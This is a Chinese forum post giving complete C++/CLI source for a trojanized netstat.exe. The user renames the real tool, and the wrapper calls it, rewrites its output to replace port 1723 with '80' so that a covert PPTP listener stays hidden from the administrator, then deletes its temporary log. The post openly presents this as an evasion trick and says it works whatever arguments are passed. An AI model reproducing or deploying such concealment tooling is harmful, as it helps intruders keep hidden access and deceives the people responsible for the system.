楼主昨天找我的时候和我谈了下基本思路就是自写netstat,
并对使用 "-an" 或 "-na" 参数时做点手脚
当时的思路就是:
1.netstat [参数] >c:\port.txt
2.对c:\port.txt进行处理(替换掉1723)
3.type c:\port.txt
但若管理员使用 "-a" 或 "-n" 等参数时还会露出马脚
今天又想到了一个更邪恶更完美的办法,
不管使用什么参数都对c:\port.txt内容中1723进行替换
C++/CLI实现代码如下:
复制内容到剪贴板
代码:
#include "stdafx.h"
#include <stdlib.h>
using namespace System;
using namespace System::IO;
using namespace System::Runtime::InteropServices;
int main(array<System::String ^> ^args)
{
String ^cmd = nullptr;
for(int i=0;i<args->Length;i++)
{
cmd += " " + args[i];
}
String ^logFile = Environment::SystemDirectory + "\\port.log";
cmd = cmd->Format("stat.exe{0} >{1}",cmd,logFile); //请将系统原来的netstat.exe改名为stat.exe
char* cstr = static_cast<char*>(Marshal::StringToHGlobalAnsi(cmd).ToPointer()); //String->char*
system(cstr);
TextReader ^tr = gcnew StreamReader(logFile);
String ^content = tr->ReadToEnd();
tr->Close();
content = content->Replace("1723","80 "); //之所以"80 "是为了输出端口信息时能够对齐
TextWriter ^tw = gcnew StreamWriter(logFile);
tw->Write(content);
tw->Close();
cmd = cmd->Format("type {0}",logFile);
cstr = static_cast<char*>(Marshal::StringToHGlobalAnsi(cmd).ToPointer());
system(cstr);
File::Delete(logFile);
return 0;
}运行附件中程序需要.NET FX 2.0支持
并且请将系统原来的 netstat.exe 改名为 stat.exe 再运行本程序!